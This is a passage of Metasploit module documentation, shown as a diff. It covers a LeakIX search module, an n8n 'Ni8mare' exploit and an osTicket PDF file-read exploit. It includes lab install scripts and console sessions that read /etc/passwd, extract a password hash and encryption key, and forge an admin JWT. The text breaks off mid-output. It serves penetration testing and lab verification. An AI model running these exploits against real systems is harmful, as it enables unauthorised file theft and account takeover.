+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Fetching available plugins...
+[*] Found 45 plugins
+
+LeakIX Plugins
+===============
+
+ Plugin Name
+ -----------
+ ApacheStatusPlugin
+ CouchDbOpenPlugin
+ ElasticSearchOpenPlugin
+ GitConfigPlugin
+ HttpOpenProxy
+ MongoOpenPlugin
+ MysqlOpenPlugin
+ SshOpenPlugin
+ ...
+
+[*] Auxiliary module execution completed
+```
+
+### BULK - Stream bulk leak results (Pro key required)
+
+```
+msf6 auxiliary(gather/leakix_search) > set ACTION BULK
+ACTION => BULK
+msf6 auxiliary(gather/leakix_search) > set QUERY +country:"Germany"
+QUERY => +country:"Germany"
+msf6 auxiliary(gather/leakix_search) > set MAXRESULTS 50
+MAXRESULTS => 50
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Streaming bulk results (Pro API required, leak scope)...
+[*] Streamed 50 events...
+[*] Reached MAXRESULTS limit (50)
+[*] Bulk results: 50 results
+
+LeakIX Results
+==============
+
+ IP:Port              Protocol  Host                    Country  Organization         Software       Type  Source
+ ------              --------  ----                    -------  ------------         --------       ----  ------
+ x.x.x.x:9200        http      elastic.example.de      Germany  Hetzner Online GmbH  Elastic 7.10   leak  ElasticSearchOpenPlugin
+ x.x.x.x:27017       mongodb   mongo.example.de        Germany  OVH SAS              MongoDB 4.4    leak  MongoOpenPlugin
+ ...
+
+[*] Auxiliary module execution completed
+```
+
+### Saving results to database
+
+Set `DATABASE true` to populate the Metasploit services database with discovered hosts and services:
+
+```
+msf6 auxiliary(gather/leakix_search) > set DATABASE true
+DATABASE => true
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Fetching page 1/1...
+[+] Got 20 results from page 1 (total: 20)
+[*] Total: 20 results
+...
+[*] Auxiliary module execution completed
+
+msf6 auxiliary(gather/leakix_search) > services
+
+Services
+========
+
+host          port   proto  name   state  info
+----          ----   -----  ----   -----  ----
+x.x.x.x      3306   tcp    mysql  open   MySQL 5.7
+x.x.x.x      22     tcp    ssh    open   OpenSSH 8.4
+...
+```

documentation/modules/auxiliary/gather/ni8mare_cve_2026_21858.md

@@ -0,0 +1,122 @@
+## Vulnerable Application
+
+This module exploits CVE-2026-21858, a critical unauthenticated remote code execution vulnerability
+in the n8n workflow automation platform versions 1.65.0 through 1.120.x. The vulnerability, dubbed
+"Ni8mare", is a content-type confusion flaw in webhook request handling that allows attackers to
+achieve arbitrary file read. According to the published write-up, this CVE can be used to attain
+unauthenticated RCE; however, that requires additional steps. The unauthenticated file read is
+bound by two conditions: a way to extract the loaded file (either via an exposed chatbot or another
+means) and an exposed file upload form. Those conditions are
+[rarely actual](https://horizon3.ai/attack-research/attack-blogs/the-ni8mare-test-n8n-rce-under-the-microscope-cve-2026-21858/) at
+the same time. This module tries to use the CVE for different scenarios - privilege escalation,
+where a low-privileged user is allowed to read an arbitrary file and eventually gain admin access
+by forging a ticket.
+
+To start vulnerable n8n container, run: `docker run -p5678:5678 n8nio/n8n:1.120.0`
+
+## Verification Steps
+
+1. Install the vulnerable n8n instance
+1. Start msfconsole
+1. Do: `use auxiliary/gather/ni8mare_cve_2026_21858`
+1. Do: `set USERNAME [username]`
+1. Do: `set PASSWORD [password]`
+1. Do: `set ACTION [EXTRACT_SESSION/READ_FILE]`
+1. Do: `set SPOOFED_USERNAME [username]` or `set TARGET_FILENAME [username]`
+1. Do: `run`
+
+## Options
+
+### EMAIL
+
+Email of user, which will create a malicious workflow to execute arbitrary file read.
+
+### PASSWORD
+
+Password of user, which will create a malicious workflow to execute arbitrary file read.
+
+## SPOOFED_EMAIL
+
+If EXTRACT_SESSION action is set, the SPOOFED_EMAIL defines a user for which a spoofed session will be created.
+
+## TARGET_FILENAME
+
+If READ_FILE action is set, this option represent a file, whose content will be extracted.
+
+## N8N_CONFIG_DIR
+
+Absolute path to config directory for n8n.
+
+## Scenarios
+
+### File read
+
+```
+msf auxiliary(gather/ni8mare_cve_2026_21858) > set RHOSTS 127.0.0.1
+RHOSTS => 127.0.0.1
+msf auxiliary(gather/ni8mare_cve_2026_21858) > set RPORT 5678
+RPORT => 5678
+msf auxiliary(gather/ni8mare_cve_2026_21858) > set email admin@gmail.com
+email => admin@gmail.com
+msf auxiliary(gather/ni8mare_cve_2026_21858) > set password Supersecret9
+password => Supersecret9
+msf auxiliary(gather/ni8mare_cve_2026_21858) > set action READ_FILE
+saction => READ_FILE
+msf auxiliary(gather/ni8mare_cve_2026_21858) > set TARGET_FILENAME /etc/passwd
+rTARGET_FILENAME => /etc/passwd
+msf auxiliary(gather/ni8mare_cve_2026_21858) > run verbose=true
+[*] Running module against 127.0.0.1
+[*] Creating file upload workflow...
+[*] Cleaning up workflow s8d1du2IUfRXpicE...
+[+] Results saved to: /home/ms/.msf4/loot/20260204123428_default_127.0.0.1_etcpasswd_119553.txt
+[*] Auxiliary module execution completed
+msf auxiliary(gather/ni8mare_cve_2026_21858) > cat /home/ms/.msf4/loot/20260204123428_default_127.0.0.1_etcpasswd_119553.txt
+[*] exec: cat /home/ms/.msf4/loot/20260204123428_default_127.0.0.1_etcpasswd_119553.txt
+
+root:x:0:0:root:/root:/bin/sh
+bin:x:1:1:bin:/bin:/sbin/nologin
+daemon:x:2:2:daemon:/sbin:/sbin/nologin
+lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
+sync:x:5:0:sync:/sbin:/bin/sync
+shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
+halt:x:7:0:halt:/sbin:/sbin/halt
+mail:x:8:12:mail:/var/mail:/sbin/nologin
+news:x:9:13:news:/usr/lib/news:/sbin/nologin
+uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
+cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
+ftp:x:21:21::/var/lib/ftp:/sbin/nologin
+sshd:x:22:22:sshd:/dev/null:/sbin/nologin
+games:x:35:35:games:/usr/games:/sbin/nologin
+ntp:x:123:123:NTP:/var/empty:/sbin/nologin
+guest:x:405:100:guest:/dev/null:/sbin/nologin
+nobody:x:65534:65534:nobody:/:/sbin/nologin
+node:x:1000:1000::/home/node:/bin/sh
+```
+
+### Session extraction
+```
+msf auxiliary(gather/ni8mare_cve_2026_21858)> set RHOSTS 127.0.0.1
+RHOSTS => 127.0.0.1
+msf auxiliary(gather/ni8mare_cve_2026_21858)> set RPORT 5678
+RPORT => 5678
+msf auxiliary(gather/ni8mare_cve_2026_21858)> set email admin@gmail.com
+email => admin@gmail.com
+msf auxiliary(gather/ni8mare_cve_2026_21858)> set password Supersecret9
+password => Supersecret9
+msf auxiliary(gather/ni8mare_cve_2026_21858)> set spoofed_email admin@gmail.com
+spoofed_email => admin@gmail.com
+msf auxiliary(gather/ni8mare_cve_2026_21858) > run verbose=true
+[*] Running module against 127.0.0.1
+[*] Creating file upload workflow...
+[*] Cleaning up workflow eEqTclj3rxAS1KCb...
+[+] Database saved to: /home/ms/.msf4/loot/20260204123341_default_127.0.0.1_database.sqlite_959168.bin
+[+] Extracted user ID: 9701b0fb-dcf0-4431-93f2-570dbe48b102
+[+] Extracted password hash: $2a$10$J7g5lE6/8P5K/58PR2YC..c0g02QEU5MTsFWqhUqf4.3p7sBrM4oW
+[*] Creating file upload workflow...
+[*] Cleaning up workflow uBmS93fou1Xw2554...
+[+] Config file saved to: /home/ms/.msf4/loot/20260204123345_default_127.0.0.1_n8n.config_124017.bin
+[+] Extracted encryption key: vEg+NXiKzB+E0w7isnvcM7TauaTwM4QF
+eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
+[+] JWT ticket as admin@gmail.com: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijk3MDFiMGZiLWRjZjAtNDQzMS05M2YyLTU3MGRiZTQ4YjEwMiIsImhhc2giOiJMdzhCVHJKcEhRIn0.sxIbgD9ShEGvHbax2nbHHYv3CBXGLeNlx1dGbCCPttw
+[*] Auxiliary module execution completed
+```

documentation/modules/auxiliary/gather/osticket_arbitrary_file_read.md

@@ -0,0 +1,1030 @@
+## Vulnerable Application
+
+Enhancesoft osTicket is a widely-used open-source support ticket system.
+This module exploits an arbitrary file read vulnerability (CVE-2026-22200), which affects Enhancesoft osTicket versions 1.18.x prior to 1.18.3 and 1.17.x prior to 1.17.7. In vulnerable deployments, this issue can often be triggered by unauthenticated or guest users when ticket self-service is enabled; however, the Metasploit module itself currently uses an authenticated workflow and requires valid osTicket credentials.
+​
+This vulnerability arises due to improper sanitization of PHP filter expressions within rich-text HTML ticket submissions before they are processed by the mPDF PDF generator during export.
+
+To exploit this vulnerability, an attacker submits a ticket containing malicious payload syntax (such as `php://` or `phar://` bypasses like `php:\\` or `./php://`). When the ticket is subsequently exported to PDF, the mPDF library reads the targeted local file and embeds its contents within the generated PDF as a bitmap image. This allows remote attackers to disclose sensitive local files, such as `/etc/passwd` or `include/ost-config.php`, in the context of the osTicket web application user.
+
+In real-world deployments, this issue may be exploitable in default configurations where guests may create tickets and access ticket status, or where self-registration is enabled. The provided Metasploit module, however, models an authenticated scenario and assumes you have working staff or admin credentials with permission to create and export tickets to PDF
+
+## Installation
+
+### Using any Ubuntu VM (Recommended Way)
+
+1. OsTicket can be installed with the given script on any Ubuntu VM:
+
+```bash
+#!/bin/bash
+
+set -e  # Exit on error
+
+# Colors for verbose output
+GREEN='\033[0;32m'
+BLUE='\033[0;34m'
+RED='\033[0;31m'
+NC='\033[0m' # No Color
+
+log() {
+    echo -e "${BLUE}[+] $1${NC}"
+}
+
+success() {
+    echo -e "${GREEN}[OK] $1${NC}"
+}
+
+error() {
+    echo -e "${RED}[ERROR] $1${NC}"
+    exit 1
+}
+
+DB_NAME="osticket_db"
+DB_USER="osticket_user"
+DB_PASS="P@ssw0rd123!"  # Change this if needed
+INSTALL_DIR="/var/www/html/osticket"
+OSTICKET_VER="v1.18.1"
+
+DOWNLOAD_URL="https://github.com/osTicket/osTicket/releases/download/${OSTICKET_VER}/osTicket-${OSTICKET_VER}.zip"
+
+
+if [ "$EUID" -ne 0 ]; then 
+    error "Please run as root (sudo ./setup_osticket_cve_env.sh)"
+fi
+
+
+log "Updating system packages..."
+apt-get update -q
+
+log "Installing dependencies (software-properties-common, git, unzip, curl)..."
+apt-get install -y software-properties-common git unzip curl
+
+
+log "Adding ondrej/php repository to ensure PHP 8.2 availability..."
+add-apt-repository -y ppa:ondrej/php
+apt-get update -q
+
+
+log "Installing Apache, MariaDB, and PHP 8.2 extensions..."
+
+apt-get install -y \
+    apache2 \
+    mariadb-server \
+    php8.2 \
+    php8.2-mysql \
+    php8.2-mbstring \
+    php8.2-gd \
+    php8.2-intl \
+    php8.2-apcu \
+    php8.2-xml \
+    php8.2-curl \
+    php8.2-zip \
+    php8.2-imap \
+    php8.2-bcmath \
+    libapache2-mod-php8.2
+
+success "LAMP stack installed."
+
+
+log "Configuring MySQL/MariaDB..."
+service mysql start
+
+
+mysql -u root -e "CREATE DATABASE IF NOT EXISTS ${DB_NAME};"
+mysql -u root -e "CREATE USER IF NOT EXISTS '${DB_USER}'@'localhost' IDENTIFIED BY '${DB_PASS}';"
+mysql -u root -e "GRANT ALL PRIVILEGES ON ${DB_NAME}.* TO '${DB_USER}'@'localhost';"
+mysql -u root -e "FLUSH PRIVILEGES;"
+
+success "Database '${DB_NAME}' created with user '${DB_USER}'."
+
+
+log "Downloading osTicket ${OSTICKET_VER}..."
+mkdir -p /tmp/osticket_install
+wget -O /tmp/osticket_install/osticket.zip "${DOWNLOAD_URL}"
+
+if [ ! -f /tmp/osticket_install/osticket.zip ]; then
+    error "Download failed. Check internet connection or URL."
+fi
+
+log "Cleaning up old installations..."
+rm -rf ${INSTALL_DIR}
+mkdir -p ${INSTALL_DIR}
+
+log "Extracting files..."
+unzip -q /tmp/osticket_install/osticket.zip -d /tmp/osticket_install/
+
+cp -r /tmp/osticket_install/upload/* ${INSTALL_DIR}/
+
+
+log "Preparing configuration file..."
+cd ${INSTALL_DIR}/include
+if [ -f ost-sampleconfig.php ]; then
+    cp ost-sampleconfig.php ost-config.php
+else
+    error "ost-sampleconfig.php not found! Extraction might have failed."
+fi
+
+
+chmod 0666 ost-config.php
+
+
+log "Configuring Apache Virtual Host..."
+
+CONF_FILE="/etc/apache2/sites-available/osticket.conf"
+
+cat > ${CONF_FILE} <<EOF
+<VirtualHost *:80>
+    ServerAdmin admin@localhost
+    DocumentRoot ${INSTALL_DIR}
+
+    <Directory ${INSTALL_DIR}>
+        Options Indexes FollowSymLinks MultiViews
+        AllowOverride All
+        Require all granted
+    </Directory>
+
+    ErrorLog \${APACHE_LOG_DIR}/error.log
+    CustomLog \${APACHE_LOG_DIR}/access.log combined
+</VirtualHost>
+EOF
+
+
+a2dissite 000-default.conf
+a2ensite osticket.conf
+a2enmod rewrite
+
+
+chown -R www-data:www-data ${INSTALL_DIR}
+chmod -R 755 ${INSTALL_DIR}
+
+chmod 0666 ${INSTALL_DIR}/include/ost-config.php
+
+log "Restarting Apache..."
+service apache2 restart
+
+
+rm -rf /tmp/osticket_install
+
+
+IP_ADDR=$(hostname -I | cut -d' ' -f1)
+
+echo "================================================================="
+echo -e "${GREEN} INSTALLATION COMPLETE ${NC}"
+echo "================================================================="
+echo -e "Target: osTicket ${OSTICKET_VER} (Vulnerable to CVE-2026-22200)"
+echo -e "Access the setup wizard at: ${BLUE}http://${IP_ADDR}/setup/${NC}"
+echo "-----------------------------------------------------------------"
+echo "Database Details for the Wizard:"
+echo -e "MySQL Database: ${BLUE}${DB_NAME}${NC}"
+echo -e "MySQL Username: ${BLUE}${DB_USER}${NC}"
+echo -e "MySQL Password: ${BLUE}${DB_PASS}${NC}"
+echo "-----------------------------------------------------------------"
+echo "Setup Instructions:"
+echo "1. Open the URL above in your browser."
+echo "2. Ensure all prerequisites show a green checkmark."
+echo "3. Fill in the 'System Settings' (use any admin info)."
+echo "4. Fill in the 'Database Settings' using the credentials above."
+echo "5. Click 'Install Now'."
+echo "================================================================="
+```
+
+2. After installation and creation of the database, one final step is required to complete osTicket installation and that must be done through the browser. Navigate to your osTicket URL (e.g., `http://localhost/support`) to access the "Basic Installation" screen. You will need to fill out three main sections to finalize the setup:
+
+   **System Settings**
+   This section defines the basic identity of your helpdesk:
+   - **Helpdesk Name:** The title of your support site (e.g., "IT Support" or "Customer Helpdesk").
+   - **Default Email:** The primary email address from which the system will send outgoing notifications.
+
+   **Admin User**
+   This section creates the master administrator account for the osTicket backend:
+   - **First Name & Last Name:** The administrator's real name.
+   - **Email Address:** The administrator's email address (used for password resets and system alerts). Must be different from **Default Email** mentioned above.
+   - **Username:** The login username for the admin panel.
+   - **Password & Retype Password:** The password for the admin account.
+
+   **Database Settings**
+   This section connects the application to your pre-configured MySQL/MariaDB database:
+   - **MySQL Table Prefix:** Typically left as the default `ost_` unless you are sharing the database with other applications.
+   - **MySQL Hostname:** The address of your database server (usually `localhost` or `127.0.0.1` if hosted on the same machine).
+   - **MySQL Database:** The name of the blank database you created prior to running the installer (e.g., `osticket_db`).
+   - **MySQL Username:** The database user with privileges to read, write, and modify the database (e.g., `osticket_user` or a dedicated user).
+   - **MySQL Password:** The password for the MySQL user. We are using `P@ssw0rd123!` in the above script.
+
+   Once these fields are filled out, click **"Install Now"** to populate the database and complete the installation. *(Note: Ensure that the `include/ost-sampleconfig.php` file has been copied, renamed to `include/ost-config.php`, and has write permissions enabled before clicking install)*.
+
+3. After installation is completed. Sign up and create a user. This user will need to verify itself using a magic link. Since we are not setting up any mail server, we have to login with the administrator user, reset their password from `/scp/users.php` to activate the user account.
+
+4. Create a new ticket and note down the ticket number (It will have a number like: `#527686`)
+
+
+### Using Docker
+
+OsTicket does not ship their official docker so have a monolithic setup is the best way to install it. 
+
+1. Use the following Dockerfile to setup:
+
+```Dockerfile
+FROM ubuntu:22.04
+
+ENV DEBIAN_FRONTEND=noninteractive
+
+ENV DB_NAME="osticket_db" \
+    DB_USER="osticket_user" \
+    DB_PASS="P@ssw0rd123!" \
+    INSTALL_DIR="/var/www/html/osticket" \
+    OSTICKET_VER="v1.18.1"
+
+RUN apt-get update -q && apt-get install -y \
+    software-properties-common \
+    git \
+    unzip \
+    curl \
+    wget \
+    nano \
+    && rm -rf /var/lib/apt/lists/*
+
+RUN add-apt-repository -y ppa:ondrej/php && apt-get update -q
+
+RUN apt-get install -y \
+    apache2 \
+    mariadb-server \
+    php8.2 \
+    php8.2-mysql \
+    php8.2-mbstring \
+    php8.2-gd \
+    php8.2-intl \
+    php8.2-apcu \
+    php8.2-xml \
+    php8.2-curl \
+    php8.2-zip \
+    php8.2-imap \
+    php8.2-bcmath \
+    libapache2-mod-php8.2 \
+    && rm -rf /var/lib/apt/lists/*
+
+RUN service mariadb start && \
+    sleep 3 && \
+    mysql -u root -e "CREATE DATABASE IF NOT EXISTS ${DB_NAME};" && \
+    mysql -u root -e "CREATE USER IF NOT EXISTS '${DB_USER}'@'localhost' IDENTIFIED BY '${DB_PASS}';" && \
+    mysql -u root -e "GRANT ALL PRIVILEGES ON ${DB_NAME}.* TO '${DB_USER}'@'localhost';" && \
+    mysql -u root -e "FLUSH PRIVILEGES;"
+
+
+RUN mkdir -p /tmp/osticket_install && \
+    wget -O /tmp/osticket_install/osticket.zip "https://github.com/osTicket/osTicket/releases/download/${OSTICKET_VER}/osTicket-${OSTICKET_VER}.zip" && \
+    rm -rf ${INSTALL_DIR} && \
+    mkdir -p ${INSTALL_DIR} && \
+    unzip -q /tmp/osticket_install/osticket.zip -d /tmp/osticket_install/ && \
+    cp -r /tmp/osticket_install/upload/* ${INSTALL_DIR}/
+
+RUN cp ${INSTALL_DIR}/include/ost-sampleconfig.php ${INSTALL_DIR}/include/ost-config.php
+
+RUN sed -i "s/error_reporting(E_ALL & ~E_NOTICE);/error_reporting(E_ALL \& ~E_NOTICE \& ~E_DEPRECATED \& ~E_WARNING);/" ${INSTALL_DIR}/bootstrap.php
+
+RUN echo "<VirtualHost *:80>\n\
+    ServerAdmin admin@localhost\n\
+    DocumentRoot ${INSTALL_DIR}\n\
+    <Directory ${INSTALL_DIR}>\n\
+        Options Indexes FollowSymLinks MultiViews\n\
+        AllowOverride All\n\
+        Require all granted\n\
+    </Directory>\n\
+    ErrorLog \${APACHE_LOG_DIR}/error.log\n\
+    CustomLog \${APACHE_LOG_DIR}/access.log combined\n\
+</VirtualHost>" > /etc/apache2/sites-available/osticket.conf
+
+RUN a2dissite 000-default.conf && \
+    a2ensite osticket.conf && \
+    a2enmod rewrite && \
+    chown -R www-data:www-data ${INSTALL_DIR} && \
+    chmod -R 755 ${INSTALL_DIR} && \
+    chmod 0666 ${INSTALL_DIR}/include/ost-config.php
+
+RUN rm -rf /tmp/osticket_install
+
+RUN echo '#!/bin/bash\n\
+# Start MariaDB service\n\
+service mariadb start\n\
+# Wait for DB to be fully ready\n\
+sleep 2\n\
+# Start Apache in the foreground to keep the container alive\n\
+source /etc/apache2/envvars\n\
+exec apache2 -D FOREGROUND\n\
+' > /usr/local/bin/entrypoint.sh && chmod +x /usr/local/bin/entrypoint.sh
+
+EXPOSE 80
+
+CMD ["/usr/local/bin/entrypoint.sh"]
+```
+
+2. Build and run with the following commands:
+```bash
+docker build -t osticket-cve-env .
+docker run -d -p 8080:80 --name osticket_vuln_server osticket-cve-env
+```
+
+2. After installation and creation of the database, one final step is required to complete osTicket installation and that must be done through the browser. Navigate to your osTicket URL (e.g., `http://localhost:8080/support`) to access the "Basic Installation" screen. You will need to fill out three main sections to finalize the setup:
+
+   **System Settings**
+   This section defines the basic identity of your helpdesk:
+   - **Helpdesk Name:** The title of your support site (e.g., "IT Support" or "Customer Helpdesk").
+   - **Default Email:** The primary email address from which the system will send outgoing notifications.
+
+   **Admin User**
+   This section creates the master administrator account for the osTicket backend:
+   - **First Name & Last Name:** The administrator's real name.
+   - **Email Address:** The administrator's email address (used for password resets and system alerts). Must be different from **Default Email** mentioned above.
+   - **Username:** The login username for the admin panel.
+   - **Password & Retype Password:** The password for the admin account.
+
+   **Database Settings**
+   This section connects the application to your pre-configured MySQL/MariaDB database:
+   - **MySQL Table Prefix:** Typically left as the default `ost_` unless you are sharing the database with other applications.
+   - **MySQL Hostname:** The address of your database server (usually `localhost` or `127.0.0.1` if hosted on the same machine).
+   - **MySQL Database:** The name of the blank database you created prior to running the installer (e.g., `osticket_db`).
+   - **MySQL Username:** The database user with privileges to read, write, and modify the database (e.g., `osticket_user` or a dedicated user).
+   - **MySQL Password:** The password for the MySQL user. We are using `P@ssw0rd123!` in the above script.
+
+   Once these fields are filled out, click **"Install Now"** to populate the database and complete the installation. *(Note: Ensure that the `include/ost-sampleconfig.php` file has been copied, renamed to `include/ost-config.php`, and has write permissions enabled before clicking install)*.
+
+3. After installation is completed. Sign up and create a user. This user will need to verify itself using a magic link. Since we are not setting up any mail server, we have to login with the administrator user, reset their password from `/scp/users.php` to activate the user account.
+
+4. Create a new ticket and note down the ticket number (It will have a number like: `#527686`)
+
+## Verification Steps
+1. Install OsTicket using either of the steps mentioned above.
+2. Start `msfconsole`.
+3. Do: `use auxiliary/gather/osticket_arbitrary_file_read`
+4. Set the `RHOSTS` and `RPORT` options as necessary
+5. Set the `TICKET_NUMBER` with the ticket number gathered from the website. If not set
+6. Set the `USERNAME` and `PASSWORD` from the registered user.
+7. Set the full file name that you want to fetch in the `FILE`.
+8. Do: `run`
+
+## Options
+
+### FILE
+The absolute file path of the target file to be retrieved from the osTicket server. By default, this is set to `/etc/passwd`.
+
+### LOGIN_PORTAL
+Specifies which osTicket portal to use for authentication. osTicket maintains separate login interfaces for staff/agents (`scp`) and end-users (`client`). Setting this to auto allows the module to automatically determine the correct portal based on the authentication flow or provided credentials.
+
+### MAX_REDIRECTS
+The maximum number of HTTP redirects the module will follow while navigating the authentication process and executing the payload. The default is `3`.
+
+### MAX_TICKET_ID
+Specifies the upper limit when brute-forcing the internal database ID of a ticket. Since the internal database ID is often required for exploitation but isn't always publicly visible, the module will attempt to brute-force it up to this boundary if `TICKET_ID` is not explicitly provided. The default is `20`.
+
+### TICKET_NUMBER
+The public-facing, user-visible ticket number (e.g., `978554`) that the module will target to inject the payload and trigger the vulnerability.
+
+## Scenarios
+
+### With new non-administrator user
+```
+msf auxiliary(gather/osticket_arbitrary_file_read) > set USERNAME test
+USERNAME => test
+msf auxiliary(gather/osticket_arbitrary_file_read) > set TICKET_NUMBER 527686
+TICKET_NUMBER => 527686
+msf auxiliary(gather/osticket_arbitrary_file_read) > set VERBOSE true
+VERBOSE => true
+msf auxiliary(gather/osticket_arbitrary_file_read) > set RHOSTS http://localhost:8080/
+RHOSTS => http://localhost:8080/
+msf auxiliary(gather/osticket_arbitrary_file_read) > set PASSWORD administrator
+PASSWORD => administrator
+msf auxiliary(gather/osticket_arbitrary_file_read) > run
+[*] Running module against 127.0.0.1
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] is_osticket?: Response code=200, body length=4943
+[*] is_osticket?: osTicket signature FOUND in response body
+[!] The service is running, but could not be validated. Target appears to be an osTicket installation
+[*] Target: 127.0.0.1:8080
+[*] File to extract: /etc/passwd
+[*] Attempting authentication...
+[*] do_login: portal preference=auto, base_uri=/, username=test
+[*] do_login: Trying staff panel (/scp/) login...
+[*] osticket_login_scp: GET /scp/login.php
+[*] osticket_login_scp: GET response code=200, cookies=OSTSESSID=hni5kfvm5hin0dpkvc7suh70dm;
+[*] extract_csrf_token: Searching HTML (6504 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=dc50fdaa52a6f0aefa0adb14af2698ad89c95501
+[*] osticket_login_scp: POST /scp/login.php with userid=test
+[*] osticket_login_scp: POST response code=200, url=, body contains userid=true
+[-] osticket_login_scp: Login FAILED (still see login form)
+[*] do_login: Staff panel login failed
+[*] do_login: Trying client portal login...
+[*] osticket_login_client: GET /login.php
+[*] osticket_login_client: GET response code=200, cookies=OSTSESSID=qpo6iptqv75f1cqcderpha1v86;
+[*] extract_csrf_token: Searching HTML (5213 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=111e06bd5a313466a4f550f9d8014ebb8ba90e8e
+[*] osticket_login_client: POST /login.php with luser=test
+[*] osticket_login_client: POST response code=302, body contains luser=false
+[+] osticket_login_client: Login SUCCESS
+[+] do_login: Client portal login succeeded, cookies=OSTSESSID=qpo6iptqv75f1cqcderpha1v86;
+[+] Authenticated via client portal
+[*] Locating ticket...
+[*] find_ticket_id: GET /tickets.php (looking for ticket #527686)
+[*] find_ticket_id: Using cookies=OSTSESSID=qpo6iptqv75f1cqcderpha1v86;
+[*] find_ticket_id: Ticket listing response code=200, body=6856 bytes
+[*] find_ticket_id: Body Length:
+6856
+[+] find_ticket_id: Found ticket ID=2 from listing page
+[+] Ticket #527686 has internal ID: 2
+[*] Generating PHP filter chain payload...
+[*] Payload generated (13646 bytes)
+[*] Submitting payload as ticket reply...
+[*] submit_ticket_reply: GET /tickets.php?id=2 to fetch CSRF token
+[*] submit_ticket_reply: GET response code=200, body=9605 bytes
+[*] extract_csrf_token: Searching HTML (9605 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=f9ae5cdbe887f403e26489ec4fbb2d1d27234797
+[*] submit_ticket_reply: Using textarea field 'c89d7750ba2621', payload=13646 bytes
+[*] submit_ticket_reply: POST /tickets.php with a=reply, id=2
+[*] submit_ticket_reply: POST response code=200, body=24114 bytes
+[*] submit_ticket_reply: Success indicators found=true
+[+] Reply posted successfully
+[*] Downloading ticket PDF...
+[*] download_ticket_pdf: Trying PDF export from /tickets.php
+[*] download_ticket_pdf: GET /tickets.php?a=print&id=2
+[*] download_ticket_pdf: Response code=200, Content-Type=application/pdf, magic="%PDF", size=54270
+[+] download_ticket_pdf: Got PDF (54270 bytes)
+[+] PDF downloaded (54270 bytes)
+[*] Extracting file from PDF...
+[*] extract_files_from_pdf: Processing PDF (54270 bytes)
+[*] extract_pdf_image_streams: Found image object (139060 bytes decompressed)
+[*] extract_pdf_image_streams: Found image object (1239 bytes decompressed)
+[*] extract_files_from_pdf: Found 2 image XObject streams
+[*] extract_files_from_pdf: Image #0: 139060 bytes, swapped to BGR
+[*] extract_files_from_pdf: Image #1: 1239 bytes, swapped to BGR
+[*] extract_data_from_bmp_stream: ISO-2022-KR marker found at offset 0 in 1239-byte stream
+[*] extract_data_from_bmp_stream: 1235 bytes after marker (nulls stripped)
+[*] First 96 bytes of data after marker and null-strip:
+[*]   ascii: "root:x:0:0:root:/root:/bin/bash.daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin.bin:x:2:2:bin:/b"
+[*]   hex:   72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f 6e 3a 2f 75 73 72 2f 73 62 69 6e 3a 2f 75 73 72 2f 73 62 69 6e 2f 6e 6f 6c 6f 67 69 6e 0a 62 69 6e 3a 78 3a 32 3a 32 3a 62 69 6e 3a 2f 62
+[*] Data looks like base64? false
+[*] Treating as plain (non-base64) - preview:
+[*]   ascii: "root:x:0:0:root:/root:/bin/bash.daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin.bin:x:2:2:bin:/b"
+[*]   hex:   72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f 6e 3a 2f 75 73 72 2f 73 62 69 6e 3a 2f 75 73 72 2f 73 62 69 6e 2f 6e 6f 6c 6f 67 69 6e 0a 62 69 6e 3a 78 3a 32 3a 32 3a 62 69 6e 3a 2f 62
+[+] extract_files_from_pdf: Image #1 yielded 1235 bytes of extracted data
+[*] extract_files_from_pdf: Fallback - scanning 12 raw streams
+[*] extract_files_from_pdf: Total extracted files: 1
+[+] Extracted 1235 bytes
+
+======================================================================
+EXTRACTED FILE CONTENTS
+======================================================================
+
+--- [/etc/passwd] (1235 bytes) ---
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
+systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
+systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
+messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
+systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
+mysql:
